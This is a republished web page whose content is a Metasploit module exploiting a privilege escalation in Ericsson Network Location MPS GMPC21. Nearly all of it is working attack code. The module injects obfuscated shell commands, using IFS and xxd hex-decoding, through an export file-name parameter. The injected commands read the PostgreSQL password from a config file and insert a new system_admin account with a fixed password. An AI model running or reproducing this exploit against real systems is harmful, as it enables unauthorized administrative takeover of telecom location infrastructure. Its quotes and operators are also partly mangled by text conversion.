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Published on November 2nd, 2021 📆 | 8324 Views ⚑

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Ericsson Network Location MPS GMPC21 Privilege Escalation – Torchsec

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Ericsson Network Location MPS – Privilege Escalation (Meow Variant)’,
‘Description’ => %q(
This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems.
It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole.
Therefore low authority user can gain the authority of “admin” on the application.

You can examine the exploit “Restrictions Bypass RCE”, which is the main source of the vulnerability.
“version”:”GMPC21″,”product_number”:”CSH 109 025 R6A”, “cluster version: 21”

/////// This 0day has been published at DEFCON29-PHV Village. ///////

),
‘References’ =>
[
[ ‘CVE’, ‘2021-‘ ],
[ ‘URL’, ‘https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon-29.html’ ],
[ ‘URL’, ‘https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location’],
[ ‘URL’, ‘https://www.wallofsheep.com/pages/dc29#akkus’]
],
‘Author’ =>
[
‘Özkan Mustafa AKKUŞ ‘ # Discovery & PoC & MSF Module @ehakkus
],
‘License’ => MSF_LICENSE,
‘DisclosureDate’ => “Apr 21 2021”,
‘DefaultOptions’ =>
{
‘RPORT’ => 10083,
‘SSL’ => true
}
))

register_options([
OptString.new(‘USERNAME’, [true, ‘NLG Username’]),
OptString.new(‘PASSWORD’, [true, ‘NLG Password’]),
OptString.new(‘TARGETURI’, [true, ‘Base path for NLG application’, ‘/’])
])
end
# for Origin and Referer headers
def peer
“#{ssl ? ‘https://’ : ‘http://’ }#{rhost}:#{rport}”
end
# split strings to salt
def split(data, string_to_split)
word = data.scan(/”#{string_to_split}”:”([Ss]*?)”/)
string = word.split(‘”]’).join(”).split(‘[“‘).join(”)
return string
end

def cluster

res = send_request_cgi({
# clusters information to API directories
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘value’, ‘v1’, ‘data’, ‘clusters’),
‘method’ => ‘GET’
})

if res && res.code == 200 && res.body =~ /version/
cls_version = split(res.body, “version”)
cls_node_type = split(res.body, “node_type”)
cls_name = split(res.body, “cluster_name”)
cls_id = cls_version + “-” + cls_node_type + “-” + cls_name
return cls_version, cls_node_type, cls_name, cls_id
else
fail_with(Failure::NotVulnerable, ‘Cluster not detected. Check the informations!’)
end
end

def permission_check(token)
# By giving numbers to the vulnerable areas, we can easily use them in JSON format.
json_urls = ‘{“1″:”/cells/gsm/cgi_cells/”,”2″:”/smpp/”, “3”:”/positioning_controls/gsm/”, “4”:”/psap/wireless/specific_routings/”, “5”:”/numbering/plmns/”}’
parse = JSON.parse(json_urls)
cls_id = cluster[3]
cls_node_type = cluster[1]

i = 1
while i < = 6 do
link = parse[“#{i}”]
i +=1
# The cells export operation returns 409 response when frequent requests are made.
# Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds.
if link == “/cells/gsm/cgi_cells/”
sleep(7)
end
filename = Rex::Text.rand_text_alpha_lower(6)

res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘value’, ‘v1’, ‘data’, cls_id, cls_node_type, link, ‘export?file_name=/export/home/mpcadmin/’, filename),
‘method’ => ‘GET’,
‘headers’ =>
{
‘X-Auth-Token’ => token,
‘Origin’ => “#{peer}”
}
})

if res && res.code == 403 then # !200
next
elsif res && res.code == 200
return link, true
elsif res && res.code == 400
return link, true
elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.
return “no link”, false
end
end
end

def check
# check connection and login
token = login(datastore[‘USERNAME’], datastore[‘PASSWORD’])
res = send_request_cgi({
# product information check
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘value’, ‘v1’, ‘data’, cluster[3], ‘product_info’, ‘about’),
‘method’ => ‘GET’,
‘headers’ =>
{
‘X-Auth-Token’ => token,
‘Origin’ => “#{peer}”
}
})

if res && res.code == 200 && res.body =~ /version/
version = split(res.body, “version”)
pnumber = split(res.body, “product_number”)
print_status(“Product Number:#{pnumber} – Version:#{version}”)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def login(user, pass)

json_login = ‘{“auth”: {“method”: “password”,”password”: {“user_id”: “‘ + datastore[“USERNAME”] + ‘”,”password”: “‘ + datastore[“PASSWORD”] + ‘”}}}’

res = send_request_cgi(
{
‘method’ => ‘POST’,
‘ctype’ => ‘application/json’,
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘login’, ‘nlg’, ‘gmpc’, ‘auth’, ‘tokens’),
‘headers’ =>
{
‘Origin’ => “#{peer}”
},
‘data’ => json_login
})

if res && res.code == 200 && res.body =~ /true/
auth_token = split(res.body, “authToken”)
return auth_token
else
fail_with(Failure::NotVulnerable, ‘Login failed. Check your informations!’)
end
end

def prep_payloads(token, link)
configname = Rex::Text.rand_text_alpha_lower(12)
newuser = Rex::Text.rand_text_alpha_lower(8)
newpass = “PrivEsc0day!”
#/ = 2F – y
#; = 3B – z
#| = 7C – p
#>& = 3E26 – v
#>/ = 3E2F – g
#> = 3E – k
#< = 3C - c
#’ = 27 – t
#$ = 24 – d
# = 5C – b
#! = 21 – u
#” = 22 – x
#( = 28 – m
#) = 29 – i
#, = 2C – o
#_ = 5F – a
# echo `xxd -r -p < << 2F`>y
payloads = ‘{“1”:”‘ + Rex::Text.uri_encode(“IFS=’,.’;echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}< <<${IFS}2F`>y&&pwd>fl”) +'”, ‘
# echo `xxd -r -p < << 3B`>z
payloads < < '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 7C`>p
payloads < < '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 3E26`>v
payloads < < '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 3E`>k
payloads < < '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 27`>t
payloads < < '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 24`>d
payloads < < '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 5C`>b
payloads < < '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 21`>u
payloads < < '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 22`>x
payloads < < '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 28`>x
payloads < < '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 29`>x
payloads < < '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 2C`>x
payloads < < '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl”) +'”, ‘
#echo `xxd -r -p < << 5F`>x
payloads < < '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl”) +'”, ‘
#cp /opt/consul/setting/factory/GMPC/parameter/gmpc_schema.json [random-file-name].json
payloads < < '"15":"' + Rex::Text.uri_encode("IFS=',.';cp${IFS}`cat${IFS}y`opt`cat${IFS}y`consul`cat${IFS}y`setting`cat${IFS}y`factory`cat${IFS}y`GMPC`cat${IFS}y`parameter`cat${IFS}y`gmpc_schema.json${IFS}#{configname}.json&&pwd>fl”) +'”, ‘
#echo sed ‘31843!d’ [random-file-name].json > pass1.sh
payloads < < '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}sed${IFS}`cat${IFS}t`31843`cat${IFS}u`d`cat${IFS}t`${IFS}#{configname}.json${IFS}>pass1.sh&&pwd>fl”) +'”, ‘
#chmod +x pass1.sh
payloads < < '"17":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass1.sh&&pwd>fl”) +'”, ‘
#sh pass1.sh > pass2
payloads < < '"18":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass1.sh>pass2&&pwd>fl”) +'”, ‘
#cat pass2 | awk -F[:,”] ‘{print $5}’ > pass3.sh
payloads < < '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}cat${IFS}pass2${IFS}`cat${IFS}p`${IFS}awk${IFS}-F[:,`cat${IFS}b``cat${IFS}x`]${IFS}`cat${IFS}t`{print${IFS}`cat${IFS}d`5}`cat${IFS}t`>pass3.sh&&pwd>fl”) +'”, ‘
#chmod +x pass3.sh
payloads < < '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass3.sh&&pwd>fl”) +'”, ‘
#sh pass3.sh > passlast
#passlast will be pgsql password…
payloads < < '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass3.sh>passlast&&pwd>fl”) +'”, ‘
#echo PGPASSWORD=’`cat passlast`’ > sqlq1
payloads < < '"22":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}PGPASSWORD=`cat${IFS}t``cat${IFS}passlast``cat${IFS}t`>sqlq1&&pwd>fl”) +'”, ‘
#echo ‘/opt/pgsql/bin/psql -U mps -d mpsdb -c “INSERT INTO ‘ > sqlq2
payloads < < '"23":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`opt`cat${IFS}y`pgsql`cat${IFS}y`bin`cat${IFS}y`psql${IFS}-U${IFS}mps${IFS}-d${IFS}mpsdb${IFS}-c${IFS}`cat${IFS}x`INSERT${IFS}INTO>sqlq2&&pwd>fl”) +'”, ‘
#echo ‘omuser(id,enabled,fail_times,latest_fail_at,name’ > sqlq3
payloads < < '"24":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}omuser`cat${IFS}m`id`cat${IFS}o`enabled`cat${IFS}o`fail`cat${IFS}a`times`cat${IFS}o`latest`cat${IFS}a`fail`cat${IFS}a`at`cat${IFS}o`name>sqlq3&&pwd>fl”) +'”, ‘
#echo ‘,password,password_expires_at,role)’ > sqlq4
payloads < < '"25":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}o`password`cat${IFS}o`password`cat${IFS}a`expires`cat${IFS}a`at`cat${IFS}o`role`cat${IFS}i`>sqlq4&&pwd>fl”) +'”, ‘
#echo “VALUES (‘privesc155′,0,0,0,’test8day’,'” > sqlq5
payloads < < '"26":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}VALUES${IFS}`cat${IFS}m``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o``cat${IFS}t`>sqlq5&&pwd>fl”) +'”, ‘
# echo ada628c3ae88b9cf90e61d26d2d852c161e30de9′,0,’system_admin’);” > sqlq6
payloads < < '"27":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}ada628c3ae88b9cf90e61d26d2d852c161e30de9`cat${IFS}t``cat${IFS}o`0`cat${IFS}o``cat${IFS}t`system`cat${IFS}a`admin`cat${IFS}t``cat${IFS}i``cat${IFS}z``cat${IFS}x`>sqlq6&&pwd>fl”) +'”, ‘
#echo `cat sqlq1` `cat sqlq2“cat sqlq3“cat sqlq4` `cat sqlq5“cat sqlq6` > sqlq7.sh
payloads < < '"28":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}sqlq1`${IFS}`cat${IFS}sqlq2`${IFS}`cat${IFS}sqlq3``cat${IFS}sqlq4`${IFS}`cat${IFS}sqlq5``cat${IFS}sqlq6`>sqlq7.sh&&pwd>fl”) +'”, ‘
#chmod +x sqlq7.sh
payloads < < '"29":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}sqlq7.sh&&pwd>fl”) +'”, ‘
#sh sqlq7.sh
payloads < < '"30":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}sqlq7.sh&&pwd>fl”) +'”}’

if link == “/cells/gsm/cgi_cells/”
print_status(“Your user must be ‘gmpc_celldata_admin’. That’s why Expoit going to run slowly. Please be patient!”)
end
parse = JSON.parse(payloads)
cls_id = cluster[3]
cls_node_type = cluster[1]
i = 1
while i < = 31 do
pay = parse[“#{i}”]
i +=1

if link == “/cells/gsm/cgi_cells/”
sleep(15)
end

send_payloads(cls_id, cls_node_type, token, link, pay)
if i == 31
check_user(newuser, newpass, link)
end
end
end

def check_user(user, pass, link)

json_login = ‘{“auth”: {“method”: “password”,”password”: {“user_id”: “‘ + user + ‘”,”password”: “‘ + pass + ‘”}}}’
if link == “/cells/gsm/cgi_cells/”
print_good(“Privilege escalation successful!”)
print_good(“The new system admin user has been created successfully.”)
print_status(“New User : #{user}”)
print_status(“New Pass : #{pass}”)
else
res = send_request_cgi(
{
‘method’ => ‘POST’,
‘ctype’ => ‘application/json’,
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘login’, ‘nlg’, ‘gmpc’, ‘auth’, ‘tokens’),
‘headers’ =>
{
‘Origin’ => “#{peer}”
},
‘data’ => json_login
})

if res && res.code == 200 && res.body =~ /true/
print_good(“Privilege escalation successful!”)
print_good(“The new system admin user has been created successfully.”)
print_status(“New User : #{user}”)
print_status(“New Pass : #{pass}”)
else
fail_with(Failure::NotVulnerable, ‘Something went wrong. New user could not be created.’)
end
end
end

def get_pgsql_pass(config_name)

res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, config_name),
‘method’ => ‘GET’,
‘headers’ =>
{
‘Origin’ => “#{peer}”
}
})

parse = JSON.parse(res.body)
pass = parse[‘AML’]
puts pass
end

def send_payloads(id, type, token, link, pay)

res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘value’, ‘v1’, ‘data’, id, type, link, “export?file_name=/export/home/mpcadmin/%7C#{pay}”),
‘method’ => ‘GET’,
‘headers’ =>
{
‘X-Auth-Token’ => token,
‘Origin’ => “#{peer}”
}
})

end

##
# Exploiting phase
##
def run

auth_token = login(datastore[‘USERNAME’], datastore[‘PASSWORD’])
unless permission_check(auth_token)[1] == true
fail_with(Failure::NotVulnerable, ‘The user has no permission to perform the operation!’)
else
perm_link = permission_check(auth_token)[0]
print_good(“Excellent! The user #{datastore[‘USERNAME’]} has permission on #{perm_link}”)
end

prep_payloads(auth_token, perm_link)

end
end

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